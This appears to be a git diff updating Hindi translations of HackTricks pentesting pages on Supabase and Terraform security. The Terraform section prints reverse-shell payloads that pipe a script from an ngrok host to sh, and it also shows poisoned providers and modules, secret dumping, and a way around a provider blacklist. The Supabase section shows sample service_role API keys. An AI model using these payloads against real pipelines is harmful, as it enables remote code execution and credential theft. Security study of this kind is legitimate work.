+- SSL कॉन्फ़िगर करें: प्लेन-टेक्स्ट कनेक्शनों को अस्वीकार करें (डिफ़ॉल्ट रूप से ये सक्षम होते हैं)
- डिस्क आकार कॉन्फ़िगर करें
- नेटवर्क प्रतिबंध और प्रतिबंध लागू करें
-## API Configuration
+## API कॉन्फ़िगरेशन
> [!TIP]
-> **यह डेटा एक लिंक से एक्सेस किया जा सकता है जैसे `https://supabase.com/dashboard/project//settings/api`**
+> **इस डेटा को एक लिंक से एक्सेस किया जा सकता है जैसे `https://supabase.com/dashboard/project//settings/api`**
-आपके प्रोजेक्ट में supabase API तक पहुँचने के लिए URL होगा: `https://jnanozjdybtpqgcwhdiz.supabase.co`।
+आपके प्रोजेक्ट में Supabase API तक पहुँचने के लिए URL होगा: `https://jnanozjdybtpqgcwhdiz.supabase.co`।
-### anon api keys
+### एनोन API कुंजी
-यह एक **anon API key** (`role: "anon"`), जैसे: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` उत्पन्न करेगा जिसे एप्लिकेशन को API कुंजी से संपर्क करने के लिए उपयोग करने की आवश्यकता होगी जो हमारे उदाहरण में उजागर की गई है।
+यह एक **एनोन API कुंजी** (`role: "anon"`), जैसे: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` उत्पन्न करेगा, जिसका उपयोग एप्लिकेशन को हमारे उदाहरण में प्रदर्शित API कुंजी से संपर्क करने के लिए करना होगा।
-इस API से संपर्क करने के लिए API REST को [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server) में पाया जा सकता है, लेकिन सबसे दिलचस्प एंडपॉइंट होंगे:
+इस API से संपर्क करने के लिए API REST को [**डॉक्स**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server) में पाया जा सकता है, लेकिन सबसे दिलचस्प एंडपॉइंट होंगे:
-Signup (/auth/v1/signup)
+साइनअप (/auth/v1/signup)
```
POST /auth/v1/signup HTTP/2
Host: id.io.net
@@ -99,34 +99,34 @@ Priority: u=1, i
```
-तो, जब भी आप किसी क्लाइंट को सुपाबेस का उपयोग करते हुए पाते हैं, जो उन्हें दिए गए उपडोमेन का उपयोग कर रहा है (यह संभव है कि कंपनी का एक उपडोमेन उनके सुपाबेस उपडोमेन पर CNAME हो), आप **सुपाबेस API का उपयोग करके प्लेटफॉर्म में एक नया खाता बनाने की कोशिश कर सकते हैं**।
+तो, जब भी आप किसी क्लाइंट को supabase का उपयोग करते हुए पाते हैं, जो उपडोमेन उन्हें दिया गया है (यह संभव है कि कंपनी का एक उपडोमेन उनके supabase उपडोमेन पर CNAME हो), आप **supabase API का उपयोग करके प्लेटफॉर्म में एक नया खाता बनाने की कोशिश कर सकते हैं**।
### गुप्त / सेवा_भूमिका API कुंजी
-एक गुप्त API कुंजी भी **`role: "service_role"`** के साथ उत्पन्न होगी। यह API कुंजी गुप्त होनी चाहिए क्योंकि यह **रो स्तर सुरक्षा** को बायपास कर सकेगी।
+एक गुप्त API कुंजी भी **`role: "service_role"`** के साथ उत्पन्न होगी। यह API कुंजी गुप्त होनी चाहिए क्योंकि यह **Row Level Security** को बायपास कर सकेगी।
API कुंजी इस तरह दिखती है: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
### JWT गुप्त
-एक **JWT गुप्त** भी उत्पन्न होगा ताकि एप्लिकेशन **कस्टम JWT टोकन बना और हस्ताक्षरित कर सके**।
+एक **JWT गुप्त** भी उत्पन्न होगा ताकि एप्लिकेशन **कस्टम JWT टोकन बना और साइन कर सके**।
## प्रमाणीकरण
### साइनअप
> [!TIP]
-> **डिफ़ॉल्ट** के अनुसार, सुपाबेस आपके प्रोजेक्ट पर **नए उपयोगकर्ताओं को खाते बनाने** की अनुमति देगा, जो पहले उल्लेखित API एंडपॉइंट्स का उपयोग करते हैं।
+> **डिफ़ॉल्ट** रूप से supabase आपके प्रोजेक्ट पर **नए उपयोगकर्ताओं को खाते बनाने की अनुमति देगा** जो पहले उल्लेखित API एंडपॉइंट्स का उपयोग करते हैं।
-हालांकि, ये नए खाते, डिफ़ॉल्ट रूप से, **अपने ईमेल पते को मान्य करने की आवश्यकता होगी** ताकि वे खाते में लॉगिन कर सकें। यह **"अनाम साइन-इन की अनुमति दें"** सक्षम करने के लिए संभव है ताकि लोग अपने ईमेल पते को सत्यापित किए बिना लॉगिन कर सकें। इससे **अप्रत्याशित डेटा** तक पहुंच मिल सकती है (उन्हें `public` और `authenticated` भूमिकाएँ मिलती हैं)।\
-यह एक बहुत बुरी विचार है क्योंकि सुपाबेस सक्रिय उपयोगकर्ता के लिए शुल्क लेता है, इसलिए लोग उपयोगकर्ता बना सकते हैं और लॉगिन कर सकते हैं और सुपाबेस उन पर शुल्क लेगा:
+हालांकि, इन नए खातों को, डिफ़ॉल्ट रूप से, **अपने ईमेल पते को मान्य करना होगा** ताकि वे खाते में लॉगिन कर सकें। यह संभव है कि **"अनाम साइन-इन की अनुमति दें"** सक्षम किया जाए ताकि लोग बिना अपने ईमेल पते को मान्य किए लॉगिन कर सकें। इससे **अप्रत्याशित डेटा** तक पहुंच मिल सकती है (उन्हें `public` और `authenticated` भूमिकाएँ मिलती हैं)।\
+यह एक बहुत बुरी विचार है क्योंकि supabase सक्रिय उपयोगकर्ता के लिए शुल्क लेता है, इसलिए लोग उपयोगकर्ता बना सकते हैं और लॉगिन कर सकते हैं और supabase उन पर शुल्क लेगा:
### पासवर्ड और सत्र
-यह न्यूनतम पासवर्ड लंबाई (डिफ़ॉल्ट द्वारा), आवश्यकताओं (डिफ़ॉल्ट द्वारा कोई नहीं) को इंगित करना और लीक हुए पासवर्ड का उपयोग करने से रोकना संभव है।\
-यह **अनुशंसा की जाती है कि आवश्यकताओं को सुधारें क्योंकि डिफ़ॉल्ट कमजोर हैं**।
+यह न्यूनतम पासवर्ड लंबाई (डिफ़ॉल्ट द्वारा), आवश्यकताओं (डिफ़ॉल्ट द्वारा कोई नहीं) और लीक हुए पासवर्ड का उपयोग करने से रोकने के लिए संकेत देने की संभावना है।\
+यह अनुशंसा की जाती है कि **डिफ़ॉल्ट आवश्यकताओं को सुधारें क्योंकि वे कमजोर हैं**।
- उपयोगकर्ता सत्र: यह निर्धारित करना संभव है कि उपयोगकर्ता सत्र कैसे काम करते हैं (टाइमआउट, प्रति उपयोगकर्ता 1 सत्र...)
- बॉट और दुरुपयोग सुरक्षा: कैप्चा सक्षम करना संभव है।
@@ -146,7 +146,7 @@ API कुंजी इस तरह दिखती है: `eyJhbGciOiJIUzI1Ni
## संग्रहण
> [!TIP]
-> सुपाबेस **फाइलों को संग्रहीत करने** और उन्हें URL के माध्यम से सुलभ बनाने की अनुमति देता है (यह S3 बकेट का उपयोग करता है)।
+> Supabase **फाइलों को स्टोर करने** और उन्हें URL के माध्यम से सुलभ बनाने की अनुमति देता है (यह S3 बकेट का उपयोग करता है)।
- अपलोड फ़ाइल आकार सीमा सेट करें (डिफ़ॉल्ट 50MB)
- S3 कनेक्शन एक URL के साथ दिया गया है जैसे: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
@@ -154,6 +154,6 @@ API कुंजी इस तरह दिखती है: `eyJhbGciOiJIUzI1Ni
## एज फ़ंक्शंस
-यह संभव है कि **सुपाबेस में गुप्त जानकारी संग्रहीत करें** जो **एज फ़ंक्शंस द्वारा सुलभ होगी** (इन्हें वेब से बनाया और हटाया जा सकता है, लेकिन इनका मूल्य सीधे एक्सेस करना संभव नहीं है)।
+यह संभव है कि **supabase में गुप्त जानकारी** भी स्टोर की जा सके जो **एज फ़ंक्शंस द्वारा सुलभ होगी** (इन्हें वेब से बनाया और हटाया जा सकता है, लेकिन इनका मूल्य सीधे एक्सेस करना संभव नहीं है)।
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md
index d407529b6..40fe7ac19 100644
--- a/src/pentesting-ci-cd/terraform-security.md
+++ b/src/pentesting-ci-cd/terraform-security.md
@@ -1,12 +1,12 @@
-# Terraform Security
+# Terraform सुरक्षा
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## मूल जानकारी
-[From the docs:](https://developer.hashicorp.com/terraform/intro)
+[दस्तावेज़ों से:](https://developer.hashicorp.com/terraform/intro)
-HashiCorp Terraform एक **कोड के रूप में बुनियादी ढांचा उपकरण** है जो आपको **क्लाउड और ऑन-प्रेम संसाधनों** को मानव-पठनीय कॉन्फ़िगरेशन फ़ाइलों में परिभाषित करने की अनुमति देता है जिन्हें आप संस्करण, पुन: उपयोग और साझा कर सकते हैं। आप फिर अपने बुनियादी ढांचे के पूरे जीवनचक्र के दौरान सभी संसाधनों को प्रावधान और प्रबंधित करने के लिए एक सुसंगत कार्यप्रवाह का उपयोग कर सकते हैं। Terraform निम्न-स्तरीय घटकों जैसे कि कंप्यूट, स्टोरेज, और नेटवर्किंग संसाधनों के साथ-साथ उच्च-स्तरीय घटकों जैसे कि DNS प्रविष्टियों और SaaS सुविधाओं का प्रबंधन कर सकता है।
+HashiCorp Terraform एक **कोड के रूप में बुनियादी ढांचा उपकरण** है जो आपको मानव-पठनीय कॉन्फ़िगरेशन फ़ाइलों में **क्लाउड और ऑन-प्रेम संसाधनों** को परिभाषित करने की अनुमति देता है जिन्हें आप संस्करण, पुन: उपयोग और साझा कर सकते हैं। आप फिर अपने बुनियादी ढांचे के पूरे जीवनचक्र के दौरान सभी संसाधनों को प्रावधान और प्रबंधित करने के लिए एक सुसंगत कार्यप्रवाह का उपयोग कर सकते हैं। Terraform निम्न-स्तरीय घटकों जैसे कंप्यूट, स्टोरेज, और नेटवर्किंग संसाधनों के साथ-साथ उच्च-स्तरीय घटकों जैसे DNS प्रविष्टियों और SaaS सुविधाओं का प्रबंधन कर सकता है।
#### Terraform कैसे काम करता है?
@@ -14,47 +14,47 @@ Terraform क्लाउड प्लेटफार्मों और अन
.png>)
-HashiCorp और Terraform समुदाय ने पहले से ही **1700 से अधिक प्रदाता** लिखे हैं जो हजारों विभिन्न प्रकार के संसाधनों और सेवाओं का प्रबंधन करते हैं, और यह संख्या बढ़ती जा रही है। आप सभी सार्वजनिक रूप से उपलब्ध प्रदाताओं को [Terraform Registry](https://registry.terraform.io/) पर पा सकते हैं, जिसमें Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, और कई अन्य शामिल हैं।
+HashiCorp और Terraform समुदाय ने पहले से ही **1700 से अधिक प्रदाता** लिखे हैं जो हजारों विभिन्न प्रकार के संसाधनों और सेवाओं का प्रबंधन करते हैं, और यह संख्या बढ़ती जा रही है। आप सभी सार्वजनिक रूप से उपलब्ध प्रदाताओं को [Terraform रजिस्ट्री](https://registry.terraform.io/) पर पा सकते हैं, जिसमें Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, और कई अन्य शामिल हैं।
मुख्य Terraform कार्यप्रवाह तीन चरणों में विभाजित है:
- **लिखें:** आप संसाधनों को परिभाषित करते हैं, जो कई क्लाउड प्रदाताओं और सेवाओं में हो सकते हैं। उदाहरण के लिए, आप सुरक्षा समूहों और लोड बैलेंसर के साथ एक वर्चुअल प्राइवेट क्लाउड (VPC) नेटवर्क में वर्चुअल मशीनों पर एक एप्लिकेशन तैनात करने के लिए एक कॉन्फ़िगरेशन बना सकते हैं।
-- **योजना:** Terraform एक निष्पादन योजना बनाता है जो उस बुनियादी ढांचे का वर्णन करता है जिसे यह बनाएगा, अपडेट करेगा, या नष्ट करेगा जो मौजूदा बुनियादी ढांचे और आपकी कॉन्फ़िगरेशन के आधार पर है।
-- **लागू करें:** अनुमोदन पर, Terraform सही क्रम में प्रस्तावित संचालन करता है, किसी भी संसाधन निर्भरताओं का सम्मान करते हुए। उदाहरण के लिए, यदि आप एक VPC की विशेषताओं को अपडेट करते हैं और उस VPC में वर्चुअल मशीनों की संख्या बदलते हैं, तो Terraform वर्चुअल मशीनों को स्केल करने से पहले VPC को फिर से बनाएगा।
+- **योजना:** Terraform एक निष्पादन योजना बनाता है जो उस बुनियादी ढांचे का वर्णन करता है जिसे वह बनाएगा, अपडेट करेगा, या नष्ट करेगा जो मौजूदा बुनियादी ढांचे और आपकी कॉन्फ़िगरेशन के आधार पर है।
+- **लागू करें:** स्वीकृति पर, Terraform सही क्रम में प्रस्तावित संचालन करता है, किसी भी संसाधन निर्भरताओं का सम्मान करते हुए। उदाहरण के लिए, यदि आप एक VPC की विशेषताओं को अपडेट करते हैं और उस VPC में वर्चुअल मशीनों की संख्या बदलते हैं, तो Terraform वर्चुअल मशीनों को स्केल करने से पहले VPC को फिर से बनाएगा।
.png>)
-### Terraform Lab
+### Terraform प्रयोगशाला
बस अपने कंप्यूटर में terraform स्थापित करें।
यहाँ आपके पास एक [गाइड](https://learn.hashicorp.com/tutorials/terraform/install-cli) है और यहाँ आपके पास terraform डाउनलोड करने का [सर्वश्रेष्ठ तरीका](https://www.terraform.io/downloads) है।
-## RCE in Terraform
+## Terraform में RCE
-Terraform **कोई प्लेटफॉर्म नहीं है जो एक वेब पृष्ठ या नेटवर्क सेवा को उजागर करता है** जिसे हम सूचीबद्ध कर सकते हैं, इसलिए, terraform को समझौता करने का एकमात्र तरीका है **terraform कॉन्फ़िगरेशन फ़ाइलों को जोड़ने/संशोधित करने में सक्षम होना**।
+Terraform **एक प्लेटफ़ॉर्म नहीं है जो एक वेब पृष्ठ या नेटवर्क सेवा को उजागर करता है** जिसे हम सूचीबद्ध कर सकते हैं, इसलिए, terraform को समझौता करने का एकमात्र तरीका है **terraform कॉन्फ़िगरेशन फ़ाइलों को जोड़ने/संशोधित करने में सक्षम होना**।
-हालांकि, terraform एक **बहुत संवेदनशील घटक** है जिसे समझौता करना है क्योंकि इसके पास विभिन्न स्थानों तक **विशेषाधिकार प्राप्त पहुंच** होगी ताकि यह सही तरीके से काम कर सके।
+हालांकि, terraform एक **बहुत संवेदनशील घटक** है जिसे समझौता करना है क्योंकि इसके पास **विभिन्न स्थानों तक विशेष पहुंच** होगी ताकि यह सही तरीके से काम कर सके।
-एक हमलावर के लिए उस सिस्टम को समझौता करने का मुख्य तरीका जहां terraform चल रहा है, है **terraform कॉन्फ़िगरेशन को स्टोर करने वाले रिपॉजिटरी को समझौता करना**, क्योंकि किसी बिंदु पर उन्हें **व्याख्या** किया जाएगा।
+एक हमलावर के लिए उस प्रणाली को समझौता करने का मुख्य तरीका जहां terraform चल रहा है, है **terraform कॉन्फ़िगरेशन को स्टोर करने वाले भंडार को समझौता करना**, क्योंकि किसी बिंदु पर उन्हें **व्याख्यायित** किया जाएगा।
-वास्तव में, वहाँ ऐसे समाधान हैं जो **PR बनने के बाद स्वचालित रूप से terraform plan/apply निष्पादित करते हैं**, जैसे कि **Atlantis**:
+वास्तव में, वहाँ ऐसे समाधान हैं जो **PR** बनने के बाद स्वचालित रूप से terraform plan/apply को **निष्पादित** करते हैं, जैसे कि **Atlantis**:
{{#ref}}
atlantis-security.md
{{#endref}}
-यदि आप एक terraform फ़ाइल को समझौता करने में सक्षम हैं, तो जब कोई `terraform plan` या `terraform apply` निष्पादित करता है, तो RCE करने के लिए आपके पास विभिन्न तरीके हैं।
+यदि आप एक terraform फ़ाइल को समझौता करने में सक्षम हैं, तो जब कोई `terraform plan` या `terraform apply` निष्पादित करता है, तो RCE करने के लिए आपके पास विभिन्न तरीके हो सकते हैं।
-### Terraform plan
+### Terraform योजना
-Terraform plan terraform में **सबसे अधिक उपयोग किया जाने वाला कमांड** है और डेवलपर्स/समाधान जो terraform का उपयोग करते हैं, इसे हमेशा कॉल करते हैं, इसलिए **RCE प्राप्त करने का सबसे आसान तरीका** यह सुनिश्चित करना है कि आप एक terraform कॉन्फ़िगरेशन फ़ाइल को विषाक्त करें जो `terraform plan` में मनमाने आदेशों को निष्पादित करेगी।
+Terraform योजना terraform में **सबसे अधिक उपयोग किया जाने वाला कमांड** है और डेवलपर्स/समाधान जो terraform का उपयोग करते हैं, इसे हमेशा कॉल करते हैं, इसलिए **RCE प्राप्त करने का सबसे आसान तरीका** यह सुनिश्चित करना है कि आप एक terraform कॉन्फ़िगरेशन फ़ाइल को विषाक्त करें जो `terraform plan` में मनमाने आदेश निष्पादित करेगी।
**एक बाहरी प्रदाता का उपयोग करना**
-Terraform [`external` प्रदाता](https://registry.terraform.io/providers/hashicorp/external/latest/docs) प्रदान करता है जो Terraform और बाहरी कार्यक्रमों के बीच इंटरफेस करने का एक तरीका प्रदान करता है। आप `plan` के दौरान मनमानी कोड चलाने के लिए `external` डेटा स्रोत का उपयोग कर सकते हैं।
+Terraform [`external` प्रदाता](https://registry.terraform.io/providers/hashicorp/external/latest/docs) प्रदान करता है जो Terraform और बाहरी कार्यक्रमों के बीच इंटरफेस करने का एक तरीका प्रदान करता है। आप `plan` के दौरान मनमाने कोड को चलाने के लिए `external` डेटा स्रोत का उपयोग कर सकते हैं।
-एक terraform कॉन्फ़िगरेशन फ़ाइल में निम्नलिखित की तरह कुछ इंजेक्ट करने से `terraform plan` निष्पादित करते समय एक रिवर्स शेल निष्पादित होगा:
+एक terraform कॉन्फ़िगरेशन फ़ाइल में निम्नलिखित की तरह कुछ इंजेक्ट करना `terraform plan` निष्पादित करते समय एक रिवर्स शेल निष्पादित करेगा:
```javascript
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
@@ -75,27 +75,27 @@ version = "1.0"
provider "evil" {}
```
-The provider is downloaded in the `init` and will run the malicious code when `plan` is executed
+प्रदाता `init` में डाउनलोड किया जाता है और जब `plan` निष्पादित होता है तो यह दुर्भावनापूर्ण कोड चलाएगा।
-You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
+आप एक उदाहरण [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) में पा सकते हैं।
**एक बाहरी संदर्भ का उपयोग करना**
-दोनों उल्लेखित विकल्प उपयोगी हैं लेकिन बहुत छिपे हुए नहीं हैं (दूसरा अधिक छिपा हुआ है लेकिन पहले से अधिक जटिल है)। आप इस हमले को एक **और अधिक छिपे हुए तरीके** से भी कर सकते हैं, इन सुझावों का पालन करके:
+दोनों उल्लेखित विकल्प उपयोगी हैं लेकिन बहुत छिपे हुए नहीं हैं (दूसरा पहले की तुलना में अधिक छिपा हुआ है लेकिन अधिक जटिल है)। आप इस हमले को एक **और अधिक छिपे हुए तरीके** से भी कर सकते हैं, इन सुझावों का पालन करके:
-- Terraform फ़ाइल में सीधे rev shell जोड़ने के बजाय, आप **एक बाहरी संसाधन लोड कर सकते हैं** जिसमें rev shell हो:
+- Terraform फ़ाइल में सीधे rev shell जोड़ने के बजाय, आप **एक बाहरी संसाधन लोड कर सकते हैं** जिसमें rev shell शामिल है:
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
-आप रिव शेल कोड [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) पर पा सकते हैं।
+आप रेव शेल कोड [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) में पा सकते हैं।
-- बाहरी संसाधन में, **ref** फीचर का उपयोग करें ताकि **repo के अंदर एक शाखा में terraform rev shell कोड को छिपाया जा सके**, कुछ इस तरह: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- बाहरी संसाधन में, **ref** फीचर का उपयोग करें ताकि **repo के अंदर एक शाखा में terraform rev shell कोड** छिपा सकें, कुछ इस तरह: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
### Terraform Apply
-Terraform apply सभी परिवर्तनों को लागू करने के लिए निष्पादित किया जाएगा, आप इसे RCE प्राप्त करने के लिए भी दुरुपयोग कर सकते हैं **एक दुर्भावनापूर्ण Terraform फ़ाइल को** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)** के साथ इंजेक्ट करके।**\
+Terraform apply सभी परिवर्तनों को लागू करने के लिए निष्पादित किया जाएगा, आप इसे RCE प्राप्त करने के लिए भी दुरुपयोग कर सकते हैं **एक दुर्भावनापूर्ण Terraform फ़ाइल के साथ** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
आपको बस यह सुनिश्चित करने की आवश्यकता है कि निम्नलिखित जैसे कुछ पेलोड `main.tf` फ़ाइल में समाप्त हो जाएं:
```json
// Payload 1 to just steal a secret
@@ -112,11 +112,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
-Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**.
+पिछली तकनीक से **सुझावों का पालन करें** ताकि इस हमले को **बाहरी संदर्भों का उपयोग करके अधिक छिपे हुए तरीके से किया जा सके**।
## Secrets Dumps
-You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like:
+आप **terraform द्वारा उपयोग किए गए गुप्त मानों को डंप कर सकते हैं** `terraform apply` चलाकर, terraform फ़ाइल में कुछ इस तरह जोड़कर:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
@@ -124,7 +124,7 @@ value = nonsensitive(var.do_token)
```
## Terraform State फ़ाइलों का दुरुपयोग
-यदि आपके पास terraform state फ़ाइलों पर लिखने की अनुमति है लेकिन आप terraform कोड को बदल नहीं सकते, तो [**यह शोध**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) फ़ाइल का लाभ उठाने के लिए कुछ दिलचस्प विकल्प प्रदान करता है:
+यदि आपके पास terraform state फ़ाइलों पर लिखने की अनुमति है लेकिन आप terraform कोड को नहीं बदल सकते हैं, तो [**यह शोध**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) फ़ाइल का लाभ उठाने के लिए कुछ दिलचस्प विकल्प प्रदान करता है:
### संसाधनों को हटाना
@@ -150,7 +150,7 @@ value = nonsensitive(var.do_token)
```
2. **संसाधन को इस तरह से संशोधित करें कि इसे अपडेट करना संभव न हो (ताकि इसे हटाया जा सके और फिर से बनाया जा सके)**
-EC2 उदाहरण के लिए, उदाहरण के प्रकार को संशोधित करना terraform को इसे हटाने और फिर से बनाने के लिए पर्याप्त है।
+EC2 इंस्टेंस के लिए, इंस्टेंस के प्रकार को संशोधित करना terraform को इसे हटाने और फिर से बनाने के लिए पर्याप्त है।
### RCE
@@ -167,7 +167,7 @@ EC2 उदाहरण के लिए, उदाहरण के प्रक
]
},
```
-### Replace blacklisted provider
+### ब्लैकलिस्टेड प्रदाता को बदलें
यदि आप ऐसी स्थिति का सामना करते हैं जहाँ `hashicorp/external` को ब्लैकलिस्ट किया गया है, तो आप निम्नलिखित करके `external` प्रदाता को फिर से लागू कर सकते हैं। नोट: हम https://registry.terraform.io/providers/nazarewk/external/latest द्वारा प्रकाशित `external` प्रदाता की एक फोर्क का उपयोग करते हैं। आप अपना खुद का फोर्क या फिर से कार्यान्वयन भी प्रकाशित कर सकते हैं।
```terraform
@@ -206,9 +206,9 @@ snyk iac test /path/to/terraform/code
```
### [Checkov](https://github.com/bridgecrewio/checkov)
-**Checkov** एक स्थैतिक कोड विश्लेषण उपकरण है जो इन्फ्रास्ट्रक्चर कोड (IaC) के लिए है और यह छवियों और ओपन-सोर्स पैकेजों के लिए एक सॉफ़्टवेयर संरचना विश्लेषण (SCA) उपकरण भी है।
+**Checkov** एक स्थैतिक कोड विश्लेषण उपकरण है जो इन्फ्रास्ट्रक्चर कोड (IaC) के लिए और छवियों और ओपन-सोर्स पैकेजों के लिए एक सॉफ़्टवेयर संरचना विश्लेषण (SCA) उपकरण है।
-यह [Terraform](https://terraform.io/) का उपयोग करके प्रदान की गई क्लाउड इन्फ्रास्ट्रक्चर, [Terraform योजना](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm चार्ट](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), या [OpenTofu](https://opentofu.org/) को स्कैन करता है और ग्राफ-आधारित स्कैनिंग का उपयोग करके सुरक्षा और अनुपालन की गलत कॉन्फ़िगरेशन का पता लगाता है।
+यह [Terraform](https://terraform.io/) का उपयोग करके प्रदान की गई क्लाउड इन्फ्रास्ट्रक्चर, [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), या [OpenTofu](https://opentofu.org/) को स्कैन करता है और ग्राफ-आधारित स्कैनिंग का उपयोग करके सुरक्षा और अनुपालन की गलत कॉन्फ़िगरेशन का पता लगाता है।
यह [सॉफ़्टवेयर संरचना विश्लेषण (SCA) स्कैनिंग](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) करता है, जो सामान्य कमजोरियों और एक्सपोज़र (CVEs) के लिए ओपन-सोर्स पैकेजों और छवियों का स्कैन है।
```bash
@@ -217,11 +217,11 @@ checkov -d /path/to/folder
```
### [terraform-compliance](https://github.com/terraform-compliance/cli)
-From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` एक हल्का, सुरक्षा और अनुपालन पर केंद्रित परीक्षण ढांचा है जो terraform के खिलाफ आपके infrastructure-as-code के लिए नकारात्मक परीक्षण क्षमता सक्षम करता है।
+From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` एक हल्का, सुरक्षा और अनुपालन पर केंद्रित परीक्षण ढांचा है जो terraform के खिलाफ आपके इन्फ्रास्ट्रक्चर-एज़-कोड के लिए नकारात्मक परीक्षण क्षमता सक्षम करता है।
- **compliance:** सुनिश्चित करें कि लागू किया गया कोड सुरक्षा मानकों, आपके अपने कस्टम मानकों का पालन कर रहा है
- **behaviour driven development:** हमारे पास लगभग हर चीज के लिए BDD है, IaC के लिए क्यों नहीं?
-- **portable:** बस इसे `pip` से इंस्टॉल करें या `docker` के माध्यम से चलाएं। [Installation](https://terraform-compliance.com/pages/installation/) देखें
+- **portable:** बस इसे `pip` से इंस्टॉल करें या `docker` के माध्यम से चलाएं। देखें [Installation](https://terraform-compliance.com/pages/installation/)
- **pre-deploy:** यह आपके कोड को तैनात करने से पहले मान्य करता है
- **easy to integrate:** यह आपके पाइपलाइन (या git hooks में) चल सकता है ताकि सभी तैनातियों को मान्य किया जा सके।
- **segregation of duty:** आप अपने परीक्षणों को एक अलग रिपॉजिटरी में रख सकते हैं जहां एक अलग टीम जिम्मेदार है।
